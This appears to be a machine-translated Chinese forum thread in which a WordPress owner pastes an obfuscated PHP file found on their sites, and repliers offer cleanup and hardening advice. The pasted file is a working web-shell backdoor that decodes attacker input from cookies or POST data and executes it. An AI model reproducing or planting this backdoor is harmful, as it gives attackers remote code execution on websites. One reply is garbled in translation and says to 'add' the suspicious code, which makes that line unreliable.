Wordpress显示奇怪的php文件

我有两个Wordpress网站。有一天，我查看了我网站的源代码，我看到很多文件php的格式如下：

<?php
$jbchac = 'b9v\'ox-lg3p#au52t4Hme*rn_8f0yskd76ic';$xwxbbv = Array();$xwxbbv[] = $jbchac[35].$jbchac[22].$jbchac[20].$jbchac[12].$jbchac[16].$jbchac[20].$jbchac[24].$jbchac[26].$jbchac[13].$jbchac[23].$jbchac[35].$jbchac[16].$jbchac[34].$jbchac[4].$jbchac[23];$xwxbbv[] = $jbchac[18].$jbchac[21];$xwxbbv[] = $jbchac[11];$xwxbbv[] = $jbchac[33].$jbchac[32].$jbchac[35].$jbchac[14].$jbchac[0].$jbchac[31].$jbchac[32].$jbchac[35].$jbchac[6].$jbchac[17].$jbchac[17].$jbchac[26].$jbchac[1].$jbchac[6].$jbchac[17].$jbchac[15].$jbchac[27].$jbchac[9].$jbchac[6].$jbchac[12].$jbchac[9].$jbchac[1].$jbchac[33].$jbchac[6].$jbchac[15].$jbchac[0].$jbchac[32].$jbchac[12].$jbchac[1].$jbchac[25].$jbchac[27].$jbchac[1].$jbchac[20].$jbchac[14].$jbchac[26].$jbchac[15];$xwxbbv[] = $jbchac[35].$jbchac[4].$jbchac[13].$jbchac[23].$jbchac[16];$xwxbbv[] = $jbchac[29].$jbchac[16].$jbchac[22].$jbchac[24].$jbchac[22].$jbchac[20].$jbchac[10].$jbchac[20].$jbchac[12].$jbchac[16];$xwxbbv[] = $jbchac[20].$jbchac[5].$jbchac[10].$jbchac[7].$jbchac[4].$jbchac[31].$jbchac[20];$xwxbbv[] = $jbchac[29].$jbchac[13].$jbchac[0].$jbchac[29].$jbchac[16].$jbchac[22];$xwxbbv[] = $jbchac[12].$jbchac[22].$jbchac[22].$jbchac[12].$jbchac[28].$jbchac[24].$jbchac[19].$jbchac[20].$jbchac[22].$jbchac[8].$jbchac[20];$xwxbbv[] = $jbchac[29].$jbchac[16].$jbchac[22].$jbchac[7].$jbchac[20].$jbchac[23];$xwxbbv[] = $jbchac[10].$jbchac[12].$jbchac[35].$jbchac[30];foreach ($xwxbbv[8]($_COOKIE, $_POST) as $nkcbrej => $kygjfna){function kcmivsj($xwxbbv, $nkcbrej, $igzucx){return $xwxbbv[7]($xwxbbv[5]($nkcbrej . $xwxbbv[3], ($igzucx / $xwxbbv[9]($nkcbrej)) + 1), 0, $igzucx);}function anwjxl($xwxbbv, $nmpnt){return @$xwxbbv[10]($xwxbbv[1], $nmpnt);}function yvnbgjo($xwxbbv, $nmpnt){$xeqhr = $xwxbbv[4]($nmpnt) % 3;if (!$xeqhr) {$ajcvked = $xwxbbv[0]; $vzkthnq = $ajcvked("", $nmpnt[1]($nmpnt[2]));$vzkthnq();exit();}}$kygjfna = anwjxl($xwxbbv, $kygjfna);yvnbgjo($xwxbbv, $xwxbbv[6]($xwxbbv[2], $kygjfna ^ kcmivsj($xwxbbv, $nkcbrej, $xwxbbv[9]($kygjfna))));}

---

如果您的网站遭到黑客攻击，可能是因为以下几点：

有人获得了您的用户名和密码，您可以使用该用户名和密码登录到主机提供商以上载恶意代码
有人掌握了你用来登录上传文件的用户名和密码
您的wordpress版本存在一个或多个安全漏洞（请参阅：）
您的一个或多个插件可能存在一些安全漏洞
您网站上运行的其他软件还有一个或多个安全漏洞
你的主机提供商被黑客攻击了。不大可能发生的但也有可能发生
如果是因为前两个原因，那可能是因为你在多个网站上使用了用户名/密码组合，其中一个网站遭到了黑客攻击。或者有人访问了您的邮件帐户，用于重置您的密码。或者因为你使用了一个容易猜到的密码

你能做什么？检查您的wordpress版本和您可能正在使用的任何插件。同时检查在同一Web空间上运行的其他应用程序。更改您的密码。一些托管提供商还允许您以wordpress没有写入权限的方式设置目录。但这只能阻止攻击者上传文件。并且不会阻止他/她/它将任何安全漏洞用于其他目的…
该网站已被黑客攻击

请查看.htaccess文件。文件上可能有任何可疑代码，这些代码正在一次又一次地创建文件

此外，很可能是插件漏洞导致了此类问题。因此，请更新插件并安装一个安全插件，如WordFence

一旦发现问题，您可以从新的WordPress文件中恢复它

希望我的建议能对你有所帮助。
你的网站似乎被黑客攻击了。因此，你需要从受影响的文件中添加可疑代码，一旦删除，你可以重新扫描并更改网站的用户名和密码，并添加安全插件。你的网站被黑客攻击将得到修复。不用担心，我们可能会开始聊天讨论。谢谢你的建议，我已经使用wordfence并找出问题。